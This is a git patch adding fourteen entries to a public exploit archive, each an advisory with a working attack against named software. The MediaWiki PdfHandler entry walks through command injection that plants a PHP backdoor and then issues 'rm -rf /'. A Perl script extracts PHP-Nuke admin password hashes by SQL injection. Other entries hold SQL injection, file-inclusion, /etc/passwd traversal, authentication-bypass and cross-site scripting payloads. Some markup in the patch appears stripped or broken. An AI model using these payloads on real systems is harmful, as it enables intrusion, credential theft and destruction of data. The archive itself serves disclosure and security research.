From 8a34f6a372c6199a07575af007f7585faf8c7276 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Mon, 3 Feb 2014 04:26:33 +0000 Subject: [PATCH] Updated 02_03_2014 --- files.csv | 14 ++ platforms/bsd/dos/31333.txt | 16 +++ platforms/hardware/remote/31340.html | 9 ++ platforms/hardware/remote/31342.txt | 14 ++ platforms/multiple/webapps/31329..txt | 183 ++++++++++++++++++++++++++ platforms/php/webapps/31331.txt | 7 + platforms/php/webapps/31332.txt | 7 + platforms/php/webapps/31334.txt | 7 + platforms/php/webapps/31335.txt | 7 + platforms/php/webapps/31336.txt | 9 ++ platforms/php/webapps/31337.txt | 95 +++++++++++++ platforms/php/webapps/31339.txt | 10 ++ platforms/php/webapps/31341.txt | 9 ++ platforms/php/webapps/31344.pl | 60 +++++++++ platforms/windows/remote/31345.txt | 9 ++ 15 files changed, 456 insertions(+) create mode 100755 platforms/bsd/dos/31333.txt create mode 100755 platforms/hardware/remote/31340.html create mode 100755 platforms/hardware/remote/31342.txt create mode 100755 platforms/multiple/webapps/31329..txt create mode 100755 platforms/php/webapps/31331.txt create mode 100755 platforms/php/webapps/31332.txt create mode 100755 platforms/php/webapps/31334.txt create mode 100755 platforms/php/webapps/31335.txt create mode 100755 platforms/php/webapps/31336.txt create mode 100755 platforms/php/webapps/31337.txt create mode 100755 platforms/php/webapps/31339.txt create mode 100755 platforms/php/webapps/31341.txt create mode 100755 platforms/php/webapps/31344.pl create mode 100755 platforms/windows/remote/31345.txt diff --git a/files.csv b/files.csv index fcf14d17e..624d4db31 100755 --- a/files.csv +++ b/files.csv @@ -28135,3 +28135,17 @@ id,file,description,date,author,platform,type,port 31325,platforms/php/webapps/31325.txt,"KC Wiki 1.0 simplest/wiki.php page Parameter Remote File Inclusion",2008-03-03,muuratsalo,php,webapps,0 31326,platforms/php/webapps/31326.txt,"Flyspray 0.9.9 Information Disclosure, HTML Injection, and Cross-Site Scripting Vulnerabilities",2008-03-03,"Digital Security Research Group",php,webapps,0 31328,platforms/php/webapps/31328.txt,"TorrentTrader 1.08 'msg' Parameter HTML Injection Vulnerability",2008-03-03,Dominus,php,webapps,0 +31329,platforms/multiple/webapps/31329..txt,"MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610)",2014-02-01,@u0x,multiple,webapps,0 +31331,platforms/php/webapps/31331.txt,"PHP-Nuke eGallery 3.0 Module 'pid' Parameter SQL Injection Vulnerability",2008-03-04,"Aria-Security Team",php,webapps,0 +31332,platforms/php/webapps/31332.txt,"PHP-Nuke 'Seminars' Module 'fileName' Parameter Local File Include Vulnerability",2008-03-04,The-0utl4w,php,webapps,0 +31333,platforms/bsd/dos/31333.txt,"BSD PPP 'pppx.conf' Local Denial of Service Vulnerability",2008-03-04,sipherr,bsd,dos,0 +31334,platforms/php/webapps/31334.txt,"Mitra Informatika Solusindo Cart 'p' Parameter SQL Injection Vulnerability",2008-03-04,bius,php,webapps,0 +31335,platforms/php/webapps/31335.txt,"MG2 'list' Parameter Cross-Site Scripting Vulnerability",2008-03-04,"Jose Carlos Norte",php,webapps,0 +31336,platforms/php/webapps/31336.txt,"Podcast Generator 0.96.2 'set_permissions.php' Cross-Site Scripting Vulnerability",2008-03-05,ZoRLu,php,webapps,0 +31337,platforms/php/webapps/31337.txt,"WebCT 4.1.5 Email and Discussion Board Messages HTML Injection Vulnerability",2007-06-25,Lupton,php,webapps,0 +31339,platforms/php/webapps/31339.txt,"PHP-Nuke Yellow_Pages Module 'cid' Parameter SQL Injection Vulnerability",2008-03-05,ZoRLu,php,webapps,0 +31340,platforms/hardware/remote/31340.html,"Check Point VPN-1 UTM Edge NGX 7.0.48x Login Page Cross-Site Scripting Vulnerability",2008-03-06,"Henri Lindberg",hardware,remote,0 +31341,platforms/php/webapps/31341.txt,"Yap Blog 1.1 'index.php' Remote File Include Vulnerability",2008-03-06,THE_MILLER,php,webapps,0 +31342,platforms/hardware/remote/31342.txt,"Airspan ProST WiMAX Device Web Interface Authentication Bypass Vulnerability",2008-03-06,"Francis Lacoste-Cordeau",hardware,remote,0 +31344,platforms/php/webapps/31344.pl,"PHP-Nuke KutubiSitte Module 'kid' Parameter SQL Injection Vulnerability",2008-03-06,r080cy90r,php,webapps,0 +31345,platforms/windows/remote/31345.txt,"MicroWorld eScan Server 9.0.742 Directory Traversal Vulnerability",2008-03-06,"Luigi Auriemma",windows,remote,0 diff --git a/platforms/bsd/dos/31333.txt b/platforms/bsd/dos/31333.txt new file mode 100755 index 000000000..5abbd9f27 --- /dev/null +++ b/platforms/bsd/dos/31333.txt @@ -0,0 +1,16 @@ +source: http://www.securityfocus.com/bid/28090/info + +BSD PPP is prone to a local denial-of-service vulnerability because it fails to perform adequate boundary checks on user-supplied input. + +Attackers can leverage this issue to crash the application and deny service to legitimate users. Given the nature of the issue, arbitrary code execution may also be possible, but this has not been confirmed. + +This issue affects FreeBSD 6.3 and unspecified versions of NetBSD and OpenBSD; other versions may also be affected. + +~/~/~/~/~/~/~/~/~/~/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxx + diff --git a/platforms/hardware/remote/31340.html b/platforms/hardware/remote/31340.html new file mode 100755 index 000000000..ae3de53d3 --- /dev/null +++ b/platforms/hardware/remote/31340.html @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/28116/info + +Check Point VPN-1 UTM Edge is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. + +The issue affects Check Point VPN-1 UTM Edge firmware 7.0.48x. + +
\ No newline at end of file diff --git a/platforms/hardware/remote/31342.txt b/platforms/hardware/remote/31342.txt new file mode 100755 index 000000000..511cae6fd --- /dev/null +++ b/platforms/hardware/remote/31342.txt @@ -0,0 +1,14 @@ +source: http://www.securityfocus.com/bid/28122/info + +Airspan ProST WiMAX device is prone to an authentication-bypass vulnerability because it fails to perform adequate authentication checks in the web interface. + +An attacker can exploit this issue to gain unauthorized access to the affected device and make arbitrary changes to its configuration. This may lead to further attacks. + +POST /process_adv/ HTTP/1.1 +Host: 10.0.0.1 +Keep-Alive: 300 +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 22 + +DialogText=&Advanced=1 \ No newline at end of file diff --git a/platforms/multiple/webapps/31329..txt b/platforms/multiple/webapps/31329..txt new file mode 100755 index 000000000..7b1a43383 --- /dev/null +++ b/platforms/multiple/webapps/31329..txt @@ -0,0 +1,183 @@ +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +#################################################################### +# +# MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610) +# Reported by Netanel Rubin - Check Point’s Vulnerability Research Group (Jan 19, 2014) +# Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014) +# Affected website : Wikipedia.org and more ! +# +# Exploit author : Xelenonz & @u0x (Pichaya Morimoto) +# Release dates : Feb 1, 2014 +# Special Thanks to 2600 Thailand ! +# +#################################################################### + +# Exploit: +#################################################################### +1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled) +http://vulnerable-site/index.php/Special:Upload +2. inject os cmd to upload a php-backdoor +http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20 +"images/xnz.php` +3. access to php-backdoor! +http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root +4. happy pwning!! + + +# Related files: +#################################################################### +thumb.php <-- extract all _GET array to params +/extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width +options +/includes/media/ImageHandler.php +/includes/GlobalFunctions.php +/includes/filerepo/file/File.php + +# Vulnerability Analysis: +#################################################################### +1. thumb.php +This script used to resize images if it is configured to be done +when the web browser requests the image +transform( $params, File::RENDER_NOW ); // << resize image +by width/height +... +// Stream the file if there were no errors +$thumb->streamFile( $headers ); +... +?> +2. /includes/filerepo/file/File.php +getHandler(); // << PDF Handler +... +$normalisedParams = $params; +$handler->normaliseParams( $this, $normalisedParams ); +... +$thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params ); +.. +?> +3. /extensions/PdfHandler/PdfHandler_body.php +&1"; +... +$err = wfShellExec( $cmd, $retval ); +... +?> +4. /includes/GlobalFunctions.php +Execute a shell command, with time and memory limits +Error generating thumbnail + +

Error generating thumbnail

+

+?????????????????????????????: /bin/bash: -: command not found
+convert: option requires an argument `-resize' @ +error/convert.c/ConvertImageCommand/2380.
+GPL Ghostscript 9.10: Unrecoverable error, exit code 1
+ +

+ + + + + +GET /mediawiki1221/images/longcat.php?1=id HTTP/1.1 +Host: 127.0.0.1 +Connection: keep-alive +Accept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Accept-Encoding: gzip,deflate,sdch +Accept-Language: en-US,en;q=0.8 +Cookie: my_wikiLoggedOut=1391266363; my_wikiUserID=2; +my_wikiUserName=Longcat; my_wiki_session=bvg0n4o0sn6ug04lg26luqfcg1 + +uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +# Back-end $cmd +#################################################################### +GlobalFunctions.php : wfShellExec() +cmd = ('gs' -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150 +-dBATCH -dNOPAUSE -q '/var/www/mediawiki1221/images/2/27/Longcat.pdf' | +'/usr/bin/convert' -depth 8 -resize 10|`echo "images/longcat.php` - +'/tmp/transform_0e377aad0e27-1.jpg') 2>&1 + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.4.14 (GNU/Linux) + +iQIcBAEBAgAGBQJS7SLLAAoJEB2kHapd1XMU8BcP/A+hMUw/EDwChN+2XjtExVGU +BzPrpXXBbp6WGWkeztmrT78Y1b1lXX/cQA4V9IGrdHUEdgG0p3y476d7eZ5sPxVf +ny9Xg7o4WtMgmSvSOOc+lCsy9aAKab801cs1HLbwZokwK8ItwQQoGfik0BgNQ4l1 +mijELis1z1f3k6yJ9/OJicnIJDmHIzPL9wQyr2A5c+jjz74SR//SlQPrqDbvEpj2 +uCCpTpjf6LGYCzyGmqROlf+OxFTeXdB9oghButrEtQ9w6qGQg1/UZjmbx/xLkCqb +GO1R4qs0PuV4uepwcbLzDDWW5kPejPjcwpuyjrpQO45OcIUtkvzR4iypCxxkvktv +n2l09Dtn9HqbK3QXhTb2u3uhM9RyJd7kFKhfmZ85OnvMmYvaXSeDWs7Wd9GEO5wh +FXbhL9O2u/bqiabQKnsJ6bx8hcm2a9mO+/yJZUyBXybHrjseRD4LQFWUYR/WPAQt +vuICIQyO5pcjkIib+0DN4e7xcFMYuo3o6WkSZuZT+l0LwYDVmhUbaGAEP13+dWZZ +M0HGoI7AITsqukYFH1n7NYjJazF3Bckc0iJbCrI39TYkvr3V9bRWSEfVBM6FcBan +kumwDlzYP/301fsKGLtfsnUmK2qkj1EF3DVoJbZ5VFdgiUSlCMsbp9qdGfUPbelR +2LmeyQR2rzjBB7Sovvcn +=ooEs +-----END PGP SIGNATURE----- diff --git a/platforms/php/webapps/31331.txt b/platforms/php/webapps/31331.txt new file mode 100755 index 000000000..005a340be --- /dev/null +++ b/platforms/php/webapps/31331.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/28088/info + +The eGallery module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/modules.php?name=eGallery&file=index&op=showpic&pid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202 \ No newline at end of file diff --git a/platforms/php/webapps/31332.txt b/platforms/php/webapps/31332.txt new file mode 100755 index 000000000..5f0211b5d --- /dev/null +++ b/platforms/php/webapps/31332.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/28089/info + +The PHP-Nuke 'Seminars' module is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. + +Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process. + +http://www.example.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/31334.txt b/platforms/php/webapps/31334.txt new file mode 100755 index 000000000..b48b0ed79 --- /dev/null +++ b/platforms/php/webapps/31334.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/28096/info + +Mitra Informatika Solusindo Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/index.php?c=10&p=-7%20union%20select%200,concat(user_name,user_password),null,null,null,null,null,null%20from%20tbl_agen-- \ No newline at end of file diff --git a/platforms/php/webapps/31335.txt b/platforms/php/webapps/31335.txt new file mode 100755 index 000000000..6dbf71479 --- /dev/null +++ b/platforms/php/webapps/31335.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/28098/info + +MG2 is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. + +http://www.example.com/admin.php?action=import&list=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/31336.txt b/platforms/php/webapps/31336.txt new file mode 100755 index 000000000..17c0fc22a --- /dev/null +++ b/platforms/php/webapps/31336.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/28106/info + +Podcast Generator is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. + +Podcast Generator 0.96.2 is vulnerable; other versions may also be affected. + +http://www.example.com/podcastgen-0.96.2/setup/set_permissions.php?scriptlang=">Thank you + + +Attack 2 - Firefox Exploit (Manual): +Click Me! + +Attack 2 - Firefox Exploit (Manual) - Decoded: + + + diff --git a/platforms/php/webapps/31339.txt b/platforms/php/webapps/31339.txt new file mode 100755 index 000000000..4aa374a55 --- /dev/null +++ b/platforms/php/webapps/31339.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/28109/info + +The Yellow_Pages module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +This issue affects the Yellow_Pages 1; other versions may also be vulnerable. + +http://www.example.com/modules.php?name=Yellow_Pages&file=viewdir&cid=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2 + diff --git a/platforms/php/webapps/31341.txt b/platforms/php/webapps/31341.txt new file mode 100755 index 000000000..49e9a4b6e --- /dev/null +++ b/platforms/php/webapps/31341.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/28120/info + +Yap Blog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. + +Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. + +Versions prior to Yap Blog 1.1.1 are vulnerable. + +http://www.example.com/[path]/index.php?page=[Sh3llAddress] \ No newline at end of file diff --git a/platforms/php/webapps/31344.pl b/platforms/php/webapps/31344.pl new file mode 100755 index 000000000..808514aea --- /dev/null +++ b/platforms/php/webapps/31344.pl @@ -0,0 +1,60 @@ +source: http://www.securityfocus.com/bid/28126/info + +The KutubiSitte module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +#!/usr/bin/perl use Getopt::Std; +use LWP::UserAgent; + +sub usg{ +printf(" + + + -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- + | PHP-NUKE KutubiSitte [kid] => SQL Injection | + -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- + ####################################################### + # Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 # + ####################################################### +<-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-> +#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:# +#:-------------------------------------------------------:# +:#| USAGE: |#: +:#| exploit.pl -h [Hostname] -p [Path] -U [User_Id] |#: +#:-------------------------------------------------------:# +#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:# +#:-------------------------------------------------------:# +:#| EXAMPLE: |#: +:#| exploit.pl -h http://site.com -p /php-nuke/ -U 1 |#: +#:-------------------------------------------------------:# +#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:# + + +"); +} +sub problem{ + print "\n\n[~] SITO NON VULNERABILE [~]\n\n"; + exit(); +} +sub exploitation{ + $conn = LWP::UserAgent -> new; + $conn->agent('Checkbot/0.4 '); + $query_pwd = +$host.$path."modules.php?name=KutubiSitte&h_op=hadisgoster&kid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,4%2F%2A%2A%2Ffrom%2F%2A%2A% +2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D".$user_id."%2F%2A"; + $return_pwd = $conn->get($query_pwd) || problem(); + $return_pwd->content() =~ /([0-9,a-f]{32})/ || problem(); + print "\n \[~\] Admin Password(md5)=$user_id is: $1 \[~\]\n\n "; + } + +getopts(":h:p:U:",\%args); + $host = $args{h} if (defined $args{h}); + $path = $args{p} if (defined $args{p}); + $user_id= $args{U}if (defined $args{U}); + if (!defined $args{h} || !defined $args{p} || !defined $args{U}){ + usg(); + } + else{ + exploitation(); + } diff --git a/platforms/windows/remote/31345.txt b/platforms/windows/remote/31345.txt new file mode 100755 index 000000000..09d5310d3 --- /dev/null +++ b/platforms/windows/remote/31345.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/28127/info + +MicroWorld eScan Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data. + +Exploiting this issue allows an attacker to access arbitrary files outside of the FTP server root directory. This can expose sensitive information that could help the attacker launch further attacks. + +eScan Server 9.0.742.98 is vulnerable to this issue; other versions may also be affected. + +ftp://SERVER:2021//windows/win.ini \ No newline at end of file